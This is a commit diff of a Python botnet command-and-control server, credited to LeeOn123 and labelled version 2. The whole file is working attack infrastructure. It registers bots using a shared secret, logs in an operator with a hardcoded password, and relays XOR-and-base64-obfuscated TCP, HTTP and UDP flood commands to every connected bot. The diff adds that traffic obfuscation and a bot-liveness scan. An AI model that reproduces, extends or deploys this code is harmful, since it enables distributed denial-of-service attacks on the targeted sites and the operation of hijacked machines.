11#!/usr/bin/env python3
22# -*- coding: UTF-8 -*-
33#Code by LeeOn123
4- #Improved at 14 /7/2019
4+ #Updated at 15 /7/2019
55#====================================================================#
66# ____ _ _ ____ _ _ #
77#| _ \ _ _| |_| |__ ___ _ __ | __ ) ___ | |_ _ __ ___| |_ #
1010#|_| \__, |\__|_| |_|\___/|_| |_| |____/ \___/ \__|_| |_|\___|\__|#
1111# |___/ #
1212#====================================================================#
13-
13+ # ~ version 2 ~ #
14+ ######################################################################
1415import socket
1516import argparse
1617import threading
1718import os
1819import time
1920import sys
2021from os import system , name
22+ import base64 as b64
2123
2224password = "Leeon123" #Your login password
25+ key = "asdfghjkloiuytresxcvbnmliuytf" #xor key
2326
2427if len (sys .argv )<= 1 :
2528 print ("Usage: python3 cnc.py <port>" )
2932
3033socketList = []
3134def sendCmd (cmd ):#Send Commands Module
32- print ('[*]Command sent!!!' )
35+ print ('[*]Command sent!!!' )#debug
3336 print (cmd )
37+ data = xor_enc (cmd ,key )#encode
3438 for sock in socketList :
3539 try :
36- s .settimeout (1 )
37- sock .send (cmd .encode ())
40+ sock .settimeout (1 )
41+ sock .send (data .encode ())
3842 except :
3943 socketList .remove (sock )#del error connection
4044 print ("[!] A bot offline" )
4145
42- def showbot ():
46+ def scan_device ():#scan online device
47+ print ('scanning Online bot' )
48+ for sock in socketList :
49+ try :
50+ sock .settimeout (1 )
51+ sock .send (xor_enc ("ping" ,key ).encode ())#check connection
52+ except :
53+ socketList .remove (sock )#del error connection
54+ print ("[!] A bot offline" )#debug
55+
56+ def showbot ():#bot count
4357 while True :
4458 try :
4559 so .send (("\033 ]0;Nodes : " + str (len (socketList ))+ " \007 " ).encode ())
@@ -50,42 +64,52 @@ def showbot():
5064def handle_bot (sock ,socketList ):
5165 while True :
5266 try :
53- sock .send ("ping" .encode ())#keepalive and check connection
67+ sock .send (xor_enc ( "ping" , key ) .encode ())#keepalive and check connection
5468 print ("ping" )
5569 pong = sock .recv (1024 ).decode ()
56- if pong == "pong" :
70+ if xor_dec ( pong , key ) == "pong" :
5771 print ("pong" )
58- time .sleep (10 )
72+ time .sleep (60 ) #check connection every min
5973 except :
6074 try :
6175 sock .close ()
6276 socketList .remove (sock )
6377 print ("[!] A bot offline" )
64- except :
78+ except :#bug happened here, if not add "break" then there will be a "magic" loop
6579 pass
6680 break
6781
6882def waitConnect (sock ,addr ):
6983 passwd = sock .recv (1024 ).decode ()
70- if passwd == "1337" :
71- if sock not in socketList :
72- socketList .append (sock )
73- print ("[!] A bot Online " + str (addr )) #Loading scene :)
74- handle_bot (sock ,socketList )
75- elif passwd == password + "\r \n " or passwd == password :
76- print ("Commander is here" )
77- Commander (sock )
78-
79- def Commander (sock ):
84+ try :
85+ passwd2 = xor_dec (passwd ,key )
86+ if passwd2 == "1337" :
87+ if sock not in socketList :
88+ socketList .append (sock )
89+ print ("[!] A bot Online " + str (addr )) #message
90+ handle_bot (sock ,socketList )
91+ else :
92+ sock .close ()
93+ except :
94+ if passwd == password + "\r \n " or passwd == password :#if password is 'Leeon123' then it will login to cnc
95+ #If u are using putty pls use raw mode to connect,
96+ #If connected, there will not show anything on screen
97+ #Just input 'Leeon123' and enter.
98+ print ("Commander is here" )
99+ Commander (sock )
100+ else :
101+ sock .close ()
102+
103+ def Commander (sock ):#cnc server
80104 global so
81105 so = sock
82- sock .send ("Setting up the server\r \n " .encode ())
106+ sock .send ("Setting up the server\r \n " .encode ())#loading sense
83107 time .sleep (0.5 )
84108 sock .send ("\033 [2J\033 [1H" .encode ())
85109 sock .send ("Setting up the server [-]\r \n " .encode ())
86110 time .sleep (0.3 )
87111 sock .send ("\033 [2J\033 [1H" .encode ())
88- sock .send ("Setting up the server [\]\r \n " .encode ())
112+ sock .send ("Setting up the server [\\ ]\r \n " .encode ())
89113 time .sleep (0.3 )
90114 sock .send ("\033 [2J\033 [1H" .encode ())
91115 sock .send ("Setting up the server [-]\r \n " .encode ())
@@ -97,7 +121,7 @@ def Commander(sock):
97121 sock .send ("Setting up the server [-]\r \n " .encode ())
98122 time .sleep (0.3 )
99123 sock .send ("\033 [2J\033 [1H" .encode ())
100- sock .send ("Setting up the server [\]\r \n " .encode ())
124+ sock .send ("Setting up the server [\\ ]\r \n " .encode ())
101125 time .sleep (0.3 )
102126 sock .send ("\033 [2J\033 [1H" .encode ())
103127 sock .send ("Setting up the server [-]\r \n " .encode ())
@@ -123,18 +147,21 @@ def Commander(sock):
123147
124148 while True :
125149 #print ("==> Python3 C&C server <==")
126- sock .send ('ルート@ボットネット:' .encode ())
150+ sock .send ('ルート@ボットネット:' .encode ())#if u run this on windows, it may has some bug, idk why so,i use linux.
127151 cmd_str = sock .recv (1024 ).decode ()
128152 if len (cmd_str ):
129153 if cmd_str [0 ] == '!' :
130154 sendCmd (cmd_str )
155+ if cmd_str [0 ] == 'scan' :
156+ scan_device ()
131157 if cmd_str == '?' or cmd_str == 'help' or cmd_str == '?\r \n ' or cmd_str == 'help\r \n ' :
132158 sock .send ('\r \n #-- Commands --#\r \n ' .encode ())
133- sock .send (' CC Flood: !cc host port threads\r \n ' .encode ())
134- sock .send (' HTTP Flood: !http host port threads path\r \n ' .encode ())
135- sock .send (' UDP Flood: !udp host port threads size\r \n \r \n ' .encode ())
159+ sock .send (' CC Flood: !cc host port threads\r \n ' .encode ()) #tcp connection flood
160+ sock .send (' HTTP Flood: !http host port threads path\r \n ' .encode ()) #http flood
161+ sock .send (' UDP Flood: !udp host port threads size\r \n \r \n ' .encode ())#udp flood
136162 sock .send (' !stop : stop attack\r \n ' .encode ())
137- sock .send (' bots : show bots info\r \n ' .encode ())
163+ sock .send (' bots : count bot\r \n ' .encode ())
164+ sock .send (' scan : check online connection\r \n ' .encode ())#check connecton status, if some offline or timeout will delete them form bot list.
138165 sock .send (' clear : Clear screen\r \n ' .encode ())
139166 sock .send (' exit : exit the server\r \n ' .encode ())
140167 sock .send (' shutdown : shutdown the server\r \n ' .encode ())
@@ -148,7 +175,7 @@ def Commander(sock):
148175 stop = True
149176 sock .close ()
150177 break
151- if cmd_str == 'shutdown' or cmd_str == 'shutdown\r \n ' :
178+ if cmd_str == 'shutdown' or cmd_str == 'shutdown\r \n ' :#shutdown function
152179 sock .send ('Shutdown\r \n ' .encode ())
153180 stop = True
154181 sock .close ()
@@ -167,5 +194,31 @@ def main():
167194 th = threading .Thread (target = waitConnect ,args = (sock ,addr ))
168195 th .start ()
169196
197+ def xor_enc (string ,key ):
198+ lkey = len (key )
199+ secret = []
200+ num = 0
201+ for each in string :
202+ if num >= lkey :
203+ num = num % lkey
204+ secret .append ( chr ( ord (each )^ ord (key [num ]) ) )
205+ num += 1
206+
207+ return b64 .b64encode ( "" .join ( secret ).encode () ).decode ()
208+
209+ def xor_dec (string ,key ):
210+ leter = b64 .b64decode ( string .encode () ).decode ()
211+ lkey = len (key )
212+ string = []
213+ num = 0
214+ for each in leter :
215+ if num >= lkey :
216+ num = num % lkey
217+
218+ string .append ( chr ( ord (each )^ ord (key [num ]) ) )
219+ num += 1
220+
221+ return "" .join ( string )
222+
170223if __name__ == '__main__' :
171224 main ()
0 commit comments